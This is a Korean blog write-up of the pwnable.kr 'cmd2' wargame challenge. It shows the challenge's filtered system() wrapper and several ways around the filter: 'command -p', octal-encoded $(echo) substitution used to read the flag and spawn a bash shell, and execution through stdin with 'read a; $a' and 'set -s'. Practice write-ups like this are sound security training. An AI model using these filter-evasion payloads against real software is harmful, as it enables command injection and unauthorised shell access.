Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Archives
Today
Total
관리 메뉴

White Security

Cmd2 문제풀이 본문

Wargame Writeups/pwnable.kr

Cmd2 문제풀이

POSIX 2019. 2. 11. 16:25
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)


Toddler's Bottle 15번 문제


직전 cmd1 문제의 발전형입니다.


#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}


cmd1의 코드와 유사하지만

PATH 이외의 모든 환경변수를 제거되며

필터링 어구들이 몇 추가 되었습니다.


cmd2@ubuntu:~$ ./cmd2 "expor''t"
expor''t
export PATH='/no_command_execution_until_you_become_a_hacker'
export PWD='/home/cmd2'


따라서 환경변수를 보면

자동으로 생성되는 PWD

PATH 둘 뿐인 것을

확인할 수 있습니다.


−p    Perform the command search using a default value for PATH
      that is guaranteed to find all of the standard utilities.


이 문제의 해결법 중 하나로는 본쉘의

빌트인 커맨드 command 를 들 수 있습니다.


명령어를 실행하는 명령

command는

-p 옵션을 사용하면

환경변수를 기본 정보로 초기화 합니다.


command -p cat fl*
command -p cat fl''ag


따라서 flag 필터링을 우회한

위 방법으로 간단하게 해결할 수 있습니다.


>>> s='/bin/cat flag'
>>> print( ''.join( '\\' + str(oct(ord(c))) for c in s ) )
\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147

cmd2@ubuntu:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'


이외에도 $( ) 문법으로

8진수로 인코딩된 텍스트를 변환해

명령어를 실행시킬 수 있습니다.


cmd2@ubuntu:~$ ./cmd2 '$(echo "\057")bin$(echo "\057")bash'
$(echo "\057")bin$(echo "\057")bash
bash-4.3$


같은 방법으로 서브쉘에 접근하는 것 또한 가능합니다.


read a; $a


명령행 인자가 아닌 STDIN을 통해

명령어를 입력받아 실행시키는 방법도 존재합니다.


set -s


같은 방법으로 set -s 명령어가 존재하는데

본쉘의 빌트인 명령어인 set은

-s 옵션을 사용하여 STDIN에서

입력을 받아 명령어를 실행할 수 있습니다.


Bash에서는 해당 옵션이 존재하지 않으므로

오직 Sh에서만 사용가능한 방법입니다.


참조문서

https://mandu-mandu.tistory.com/84

https://koyo.kr/post/pwnable-kr-cmd2/

https://xerxes-break.tistory.com/321

'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Uaf 문제풀이  (0) 2019.02.19
Cmd1 문제풀이  (0) 2019.02.10
Lotto 문제풀이  (0) 2019.02.10
Blackjack 문제풀이  (0) 2019.02.10
Coin1 문제풀이  (0) 2019.02.09
Comments